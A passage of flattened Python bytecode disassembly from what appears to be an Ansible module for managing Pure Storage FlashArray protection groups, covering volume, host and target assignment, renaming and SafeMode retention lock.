BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 374 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Creation of pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 374 END_FINALLY LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 454 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_CONST ('replicate_enabled',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 450 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_CONST ('snap_enabled',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 500 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Enabling pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 500 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 544 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR LOAD_CONST ('vollist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 590 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding volumes to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 590 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 634 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR LOAD_CONST ('hostlist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 680 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding hosts to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 680 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 724 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR LOAD_CONST ('hgrouplist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 770 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding hostgroups to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 770 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'safe_mode' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_array LOAD_FAST module CALL_FUNCTION STORE_FAST arrayv6 SETUP_EXCEPT to 826 LOAD_FAST arrayv6 LOAD_ATTR patch_protection_groups LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR BUILD_LIST LOAD_GLOBAL flasharray LOAD_ATTR ProtectionGroup LOAD_CONST 'ratcheted' LOAD_CONST ('retention_lock',) CALL_FUNCTION LOAD_CONST ('names', 'protection_group') CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 872 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Failed to set SafeMode on pgroup {0}' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 872 END_FINALLY LOAD_FAST module LOAD_ATTR exit_json LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST False STORE_FAST exists LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR STORE_FAST new_name LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST ':' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST container LOAD_FAST container LOAD_CONST ':' BINARY_ADD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR BINARY_ADD STORE_FAST new_name LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST container LOAD_CONST '::' BINARY_ADD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR BINARY_ADD STORE_FAST new_name SETUP_LOOP to 146 LOAD_FAST array LOAD_ATTR list_pgroups LOAD_CONST True LOAD_CONST ('pending',) CALL_FUNCTION GET_ITER FOR_ITER to 144 STORE_FAST pgroup LOAD_FAST pgroup LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD casefold CALL_METHOD LOAD_FAST new_name LOAD_METHOD casefold CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST exists BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST exists RETURN_VALUE LOAD_CONST False DUP_TOP STORE_FAST changed STORE_FAST renamed LOAD_FAST array LOAD_METHOD _list_available_rest_versions CALL_METHOD STORE_FAST api_version LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_LIST STORE_FAST connected_targets LOAD_GLOBAL get_arrays LOAD_FAST array CALL_FUNCTION STORE_FAST connected_arrays LOAD_GLOBAL OFFLOAD_API_VERSION LOAD_FAST api_version COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL get_targets LOAD_FAST array CALL_FUNCTION STORE_FAST connected_targets LOAD_FAST connected_arrays LOAD_FAST connected_targets BINARY_ADD STORE_FAST connected_arrays LOAD_FAST connected_arrays BUILD_LIST COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'No targets connected to source array.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST array LOAD_METHOD get_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST 'targets' BINARY_SUBSCR STORE_FAST current_connects BUILD_LIST STORE_FAST current_targets LOAD_FAST current_connects POP_JUMP_IF_FALSE SETUP_LOOP to 154 LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_FAST current_connects CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 152 STORE_FAST targetcnt LOAD_FAST current_targets LOAD_METHOD append LOAD_FAST current_connects LOAD_FAST targetcnt BINARY_SUBSCR LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL set LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST current_targets CALL_FUNCTION COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL set LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION LOAD_METHOD issubset LOAD_FAST connected_arrays CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Check all selected targets are connected to the source array.' LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 278 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST 4 BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('targetlist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 324 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing targets for pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 324 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_GLOBAL get_pgroup_sched LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'replicate_enabled' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 406 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_CONST ('replicate_enabled',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 452 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing enabled status of pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 452 END_FINALLY JUMP_FORWARD to 582 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'target' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_GLOBAL get_pgroup_sched LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'snap_enabled' BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 536 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'enabled' BINARY_SUBSCR LOAD_CONST ('snap_enabled',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 582 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing enabled status of pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 582 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hosts' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hgroups' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'volumes' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 698 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR LOAD_CONST ('vollist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 744 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding volumes to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 744 END_FINALLY JUMP_FORWARD to 892 LOAD_GLOBAL list LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR CALL_FUNCTION STORE_FAST cased_vols LOAD_GLOBAL list LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'volumes' BINARY_SUBSCR CALL_FUNCTION STORE_DEREF cased_pgvols LOAD_GLOBAL all LOAD_CLOSURE cased_pgvols BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c277c90, file "f.py", line 543> LOAD_CONST 'update_pgroup.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST cased_vols GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 846 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'volume' BINARY_SUBSCR LOAD_CONST ('addvollist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 892 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing volumes in pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 892 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'volumes' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hgroups' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hosts' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 1008 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR LOAD_CONST ('hostlist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 1054 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding hosts to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 1054 END_FINALLY JUMP_FORWARD to 1202 LOAD_GLOBAL list LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR CALL_FUNCTION STORE_FAST cased_hosts LOAD_GLOBAL list LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hosts' BINARY_SUBSCR CALL_FUNCTION STORE_DEREF cased_pghosts LOAD_GLOBAL all LOAD_CLOSURE cased_pghosts BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c277030, file "f.py", line 578> LOAD_CONST 'update_pgroup.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST cased_hosts GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 1156 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'host' BINARY_SUBSCR LOAD_CONST ('addhostlist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 1202 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing hosts in pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 1202 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hosts' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'volumes' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hgroups' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 1318 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR LOAD_CONST ('hgrouplist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 1364 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Adding hostgroups to pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 1364 END_FINALLY JUMP_FORWARD to 1512 LOAD_GLOBAL list LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR CALL_FUNCTION STORE_FAST cased_hostg LOAD_GLOBAL list LOAD_GLOBAL get_pgroup LOAD_FAST module LOAD_FAST array CALL_FUNCTION LOAD_CONST 'hgroups' BINARY_SUBSCR CALL_FUNCTION STORE_DEREF cased_pghostg LOAD_GLOBAL all LOAD_CLOSURE cased_pghostg BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa7c2775d0, file "f.py", line 613> LOAD_CONST 'update_pgroup.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST cased_hostg GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST True STORE_FAST changed SETUP_EXCEPT to 1466 LOAD_FAST array LOAD_ATTR set_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST module LOAD_ATTR params LOAD_CONST 'hostgroup' BINARY_SUBSCR LOAD_CONST ('addhgrouplist',) CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 1512 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Changing hostgroups in pgroup {0} failed.' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 1512 END_FINALLY LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL rename_exists LOAD_FAST module LOAD_FAST array CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST ':' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_METHOD split LOAD_CONST ':' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST container LOAD_CONST '::' LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST container LOAD_CONST '::' BINARY_ADD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR BINARY_ADD STORE_FAST rename JUMP_FORWARD to 1626 LOAD_FAST container LOAD_CONST ':' BINARY_ADD LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR BINARY_ADD STORE_FAST rename JUMP_FORWARD to 1638 LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR STORE_FAST rename LOAD_CONST True STORE_FAST renamed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 1684 LOAD_FAST array LOAD_METHOD rename_pgroup LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST rename CALL_METHOD POP_TOP LOAD_FAST rename LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' STORE_SUBSCR POP_BLOCK JUMP_FORWARD to 1724 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Rename to {0} failed.' LOAD_METHOD format LOAD_FAST rename CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 1724 END_FINALLY JUMP_FORWARD to 1748 LOAD_FAST module LOAD_METHOD warn LOAD_CONST 'Rename failed. Protection group {0} already exists in container. Continuing with other changes...' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'rename' BINARY_SUBSCR CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL RETENTION_LOCK_VERSION LOAD_FAST api_version COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL get_array LOAD_FAST module CALL_FUNCTION STORE_FAST arrayv6 LOAD_GLOBAL list LOAD_FAST arrayv6 LOAD_ATTR get_protection_groups LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR BUILD_LIST LOAD_CONST ('names',) CALL_FUNCTION LOAD_ATTR items CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST current_pg LOAD_FAST current_pg LOAD_ATTR retention_lock LOAD_CONST 'unlocked' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'safe_mode' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST changed LOAD_FAST module LOAD_ATTR check_mode EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST arrayv6 LOAD_ATTR patch_protection_groups LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR BUILD_LIST LOAD_GLOBAL flasharray LOAD_ATTR ProtectionGroup LOAD_CONST 'ratcheted' LOAD_CONST ('retention_lock',) CALL_FUNCTION LOAD_CONST ('names', 'protection_group') CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_ATTR status_code LOAD_CONST 200 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR fail_json LOAD_CONST 'Failed to set SafeMode on protection group {0}. Error: {1}' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR LOAD_FAST res LOAD_ATTR errors LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR message CALL_METHOD LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST current_pg LOAD_ATTR retention_lock LOAD_CONST 'ratcheted' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR params LOAD_CONST 'safe_mode' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST module LOAD_METHOD warn LOAD_CONST 'Disabling SafeMode on protection group {0} can only be performed by Pure Technical Support' LOAD_METHOD format LOAD_FAST module LOAD_ATTR params LOAD_CONST 'name' BINARY_SUBSCR CALL_METHOD CALL_METHOD 